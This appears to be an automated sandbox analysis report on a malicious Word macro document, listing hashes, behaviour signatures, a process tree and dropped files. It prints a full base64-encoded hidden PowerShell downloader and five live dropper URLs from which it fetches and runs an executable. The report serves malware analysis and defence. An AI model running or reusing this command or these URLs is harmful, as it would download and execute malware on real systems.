Analysis

  • max time kernel
    51s
  • max time network
    37s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    13-11-2024 21:55

General

  • Target

    770bc2dc87b621f85a6850bae05db9bdeea5d2de0907d8f2700fd711b4a23217.doc

  • Size

    196KB

  • MD5

    8005aa4c5d3141a693e485497dc2a030

  • SHA1

    bd5dd9c9f58aae41bbf0c3d48abf3bed2a22db6c

  • SHA256

    770bc2dc87b621f85a6850bae05db9bdeea5d2de0907d8f2700fd711b4a23217

  • SHA512

    df13d8f639179e59bd3498f1c0fb1d5d8bbb284ba233953100ec4e63b42c8fdb17015fe50674ae4021a4f05e17699c1249c14006e9dfc5389cae076e6393c454

  • SSDEEP

    3072:Mu2y/GdyQktGDWLS0HZWD5w8K7Nk9oD7IBUv9Y9a1OnEabHeEHAWw:Mu2k42tGiL3HJk9oD7bMeEHAW

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://bepeterson.futurismdemo.com/archive/y5o7/

exe.dropper

http://www.gnc.happenizedev.com/backup/n99uf/

exe.dropper

http://odoo-accounting.com/wp-includes/rest-api/search/R/

exe.dropper

http://monoclepetes.com/disneyworldclassroom/sy52j7/

exe.dropper

http://bakestories.com/0hikvh/Jm4QTsHwF/

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 5 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 7 IoCs
  • Suspicious use of WriteProcessMemory 2 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\770bc2dc87b621f85a6850bae05db9bdeea5d2de0907d8f2700fd711b4a23217.doc" /o ""
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1116
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:4088
    • C:\Windows\System32\WindowsPowerShell\v1.0\Powershell.exe
      Powershell -w hidden -en JABHAHgAZgB5AGcAaQBmAGIAcgBjAGQAPQAnAFMAcQBwAGoAdAB1AHAAZAB1AHAAeAAnADsAJABVAHkAcABkAGwAZQBpAHMAaAB1AGcAIAA9ACAAJwAxADYAMgAnADsAJABCAGcAYgB3AHcAbABjAGIAagB2AGcAaQA9ACcATABjAHcAbQBjAHcAbABzACcAOwAkAFIAYwBkAHQAaABnAGEAZQBwAHUAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAJwBcACcAKwAkAFUAeQBwAGQAbABlAGkAcwBoAHUAZwArACcALgBlAHgAZQAnADsAJABCAG0AYgBuAGwAaQBoAHQAYwBuAGUAdQBxAD0AJwBPAG0AcgBoAHUAYwBrAGgAbAAnADsAJABGAGYAaQB2AGQAdQBxAGkAdgBrAHMAZgA9ACYAKAAnAG4AZQAnACsAJwB3AC0AbwBiACcAKwAnAGoAZQBjAHQAJwApACAAbgBFAFQALgBXAGUAYgBjAGwASQBlAG4AdAA7ACQAUABhAGEAdABnAGUAagBhAHcAPQAnAGgAdAB0AHAAOgAvAC8AYgBlAHAAZQB0AGUAcgBzAG8AbgAuAGYAdQB0AHUAcgBpAHMAbQBkAGUAbQBvAC4AYwBvAG0ALwBhAHIAYwBoAGkAdgBlAC8AeQA1AG8ANwAvACoAaAB0AHQAcAA6AC8ALwB3AHcAdwAuAGcAbgBjAC4AaABhAHAAcABlAG4AaQB6AGUAZABlAHYALgBjAG8AbQAvAGIAYQBjAGsAdQBwAC8AbgA5ADkAdQBmAC8AKgBoAHQAdABwADoALwAvAG8AZABvAG8ALQBhAGMAYwBvAHUAbgB0AGkAbgBnAC4AYwBvAG0ALwB3AHAALQBpAG4AYwBsAHUAZABlAHMALwByAGUAcwB0AC0AYQBwAGkALwBzAGUAYQByAGMAaAAvAFIALwAqAGgAdAB0AHAAOgAvAC8AbQBvAG4AbwBjAGwAZQBwAGUAdABlAHMALgBjAG8AbQAvAGQAaQBzAG4AZQB5AHcAbwByAGwAZABjAGwAYQBzAHMAcgBvAG8AbQAvAHMAeQA1ADIAagA3AC8AKgBoAHQAdABwADoALwAvAGIAYQBrAGUAcwB0AG8AcgBpAGUAcwAuAGMAbwBtAC8AMABoAGkAawB2AGgALwBKAG0ANABRAFQAcwBIAHcARgAvACcALgAiAFMAcABMAGAAaQBUACIAKAAnACoAJwApADsAJABTAGwAYgBpAGkAagBkAGMAdgBrAGsAcAA9ACcATgBtAGcAeQB6AHIAbABxACcAOwBmAG8AcgBlAGEAYwBoACgAJABJAG8AegByAG8AbgBuAGgAcQB5AGsAIABpAG4AIAAkAFAAYQBhAHQAZwBlAGoAYQB3ACkAewB0AHIAeQB7ACQARgBmAGkAdgBkAHUAcQBpAHYAawBzAGYALgAiAEQAYABvAHcAbgBgAEwATwBhAEQARgBJAEwARQAiACgAJABJAG8AegByAG8AbgBuAGgAcQB5AGsALAAgACQAUgBjAGQAdABoAGcAYQBlAHAAdQApADsAJABKAHUAawBpAHcAcQBlAHAAdgB0AHAAPQAnAFQAZgB1AHIAbwBrAHcAZQB4AGIAZwBnACcAOwBJAGYAIAAoACgALgAoACcARwBlAHQALQAnACsAJwBJAHQAJwArACcAZQBtACcAKQAgACQAUgBjAGQAdABoAGcAYQBlAHAAdQApAC4AIgBMAGAAZQBOAGcAYABUAEgAIgAgAC0AZwBlACAAMwAyADAAMgA5ACkAIAB7AFsARABpAGEAZwBuAG8AcwB0AGkAYwBzAC4AUAByAG8AYwBlAHMAcwBdADoAOgAiAFMAVABBAGAAUgB0ACIAKAAkAFIAYwBkAHQAaABnAGEAZQBwAHUAKQA7ACQATQBhAGcAYwBmAG8AeQBvAHkAdgA9ACcARwB1AHQAeABsAHIAdQBtACcAOwBiAHIAZQBhAGsAOwAkAFoAdwBmAGoAaQBtAHMAZQBiAD0AJwBWAGQAdQBtAG4AcgBlAHYAcQB3AHYAJwB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAUQBrAGQAZAB1AHAAdgBxAHEAPQAnAEsAdwB2AGYAbAB2AHQAdAAnAA==
      1⤵
      • Process spawned unexpected child process
      • Blocklisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:916

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

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    Downloads

    • C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\Content.MSO\FA427C1B.wmf

      Filesize

      444B

      MD5

      88ab29d9b0fc8d219a7e8d9c448821ca

      SHA1

      b9c56f5e9e99c8702c85daac3a20540bc4ead95c

      SHA256

      c43e3fe5065eee4145c2c7208894d7cd34c8d90002f121d88a16bd6b6bce0ea2

      SHA512

      9f335ce8148ad80891936e6c2432b58cfe3df1935415f262d337117c8f1bcc2b243c5b57e0c2e3423df3c6da3a1ee254d87d506bf5eb316a1deb8c4a19d222ea

    • C:\Users\Admin\AppData\Local\Temp\TCD6FC0.tmp\sist02.xsl

      Filesize

      245KB

      MD5

      f883b260a8d67082ea895c14bf56dd56

      SHA1

      7954565c1f243d46ad3b1e2f1baf3281451fc14b

      SHA256

      ef4835db41a485b56c2ef0ff7094bc2350460573a686182bc45fd6613480e353

      SHA512

      d95924a499f32d9b4d9a7d298502181f9e9048c21dbe0496fa3c3279b263d6f7d594b859111a99b1a53bd248ee69b867d7b1768c42e1e40934e0b990f0ce051e

    • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_xfnilgmp.ue4.ps1

      Filesize

      60B

      MD5

      d17fe0a3f47be24a6453e9ef58c94641

      SHA1

      6ab83620379fc69f80c0242105ddffd7d98d5d9d

      SHA256

      96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

      SHA512

      5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

    • C:\Users\Admin\AppData\Roaming\Microsoft\UProof\CUSTOM.DIC

      Filesize

      2B

      MD5

      f3b25701fe362ec84616a93a45ce9998

      SHA1

      d62636d8caec13f04e28442a0a6fa1afeb024bbb

      SHA256

      b3d510ef04275ca8e698e5b3cbb0ece3949ef9252f0cdc839e9ee347409a2209

      SHA512

      98c5f56f3de340690c139e58eb7dac111979f0d4dffe9c4b24ff849510f4b6ffa9fd608c0a3de9ac3c9fd2190f0efaf715309061490f9755a9bfdf1c54ca0d84

    • memory/916-65-0x0000025CEDEB0000-0x0000025CEDED2000-memory.dmp

      Filesize

      136KB

    • memory/1116-5-0x00007FFD784F0000-0x00007FFD78500000-memory.dmp

      Filesize

      64KB

    • memory/1116-0-0x00007FFD784F0000-0x00007FFD78500000-memory.dmp

      Filesize

      64KB

    • memory/1116-6-0x00007FFDB8470000-0x00007FFDB8665000-memory.dmp

      Filesize

      2.0MB

    • memory/1116-9-0x00007FFDB8470000-0x00007FFDB8665000-memory.dmp

      Filesize

      2.0MB

    • memory/1116-8-0x00007FFDB8470000-0x00007FFDB8665000-memory.dmp

      Filesize

      2.0MB

    • memory/1116-11-0x00007FFD76230000-0x00007FFD76240000-memory.dmp

      Filesize

      64KB

    • memory/1116-10-0x00007FFDB8470000-0x00007FFDB8665000-memory.dmp

      Filesize

      2.0MB

    • memory/1116-12-0x00007FFDB8470000-0x00007FFDB8665000-memory.dmp

      Filesize

      2.0MB

    • memory/1116-13-0x00007FFD76230000-0x00007FFD76240000-memory.dmp

      Filesize

      64KB

    • memory/1116-7-0x00007FFDB8470000-0x00007FFDB8665000-memory.dmp

      Filesize

      2.0MB

    • memory/1116-4-0x00007FFD784F0000-0x00007FFD78500000-memory.dmp

      Filesize

      64KB

    • memory/1116-2-0x00007FFD784F0000-0x00007FFD78500000-memory.dmp

      Filesize

      64KB

    • memory/1116-1-0x00007FFDB850D000-0x00007FFDB850E000-memory.dmp

      Filesize

      4KB

    • memory/1116-84-0x00007FFDB8470000-0x00007FFDB8665000-memory.dmp

      Filesize

      2.0MB

    • memory/1116-85-0x00007FFDB850D000-0x00007FFDB850E000-memory.dmp

      Filesize

      4KB

    • memory/1116-86-0x00007FFDB8470000-0x00007FFDB8665000-memory.dmp

      Filesize

      2.0MB

    • memory/1116-87-0x00007FFDB8470000-0x00007FFDB8665000-memory.dmp

      Filesize

      2.0MB

    • memory/1116-3-0x00007FFD784F0000-0x00007FFD78500000-memory.dmp

      Filesize

      64KB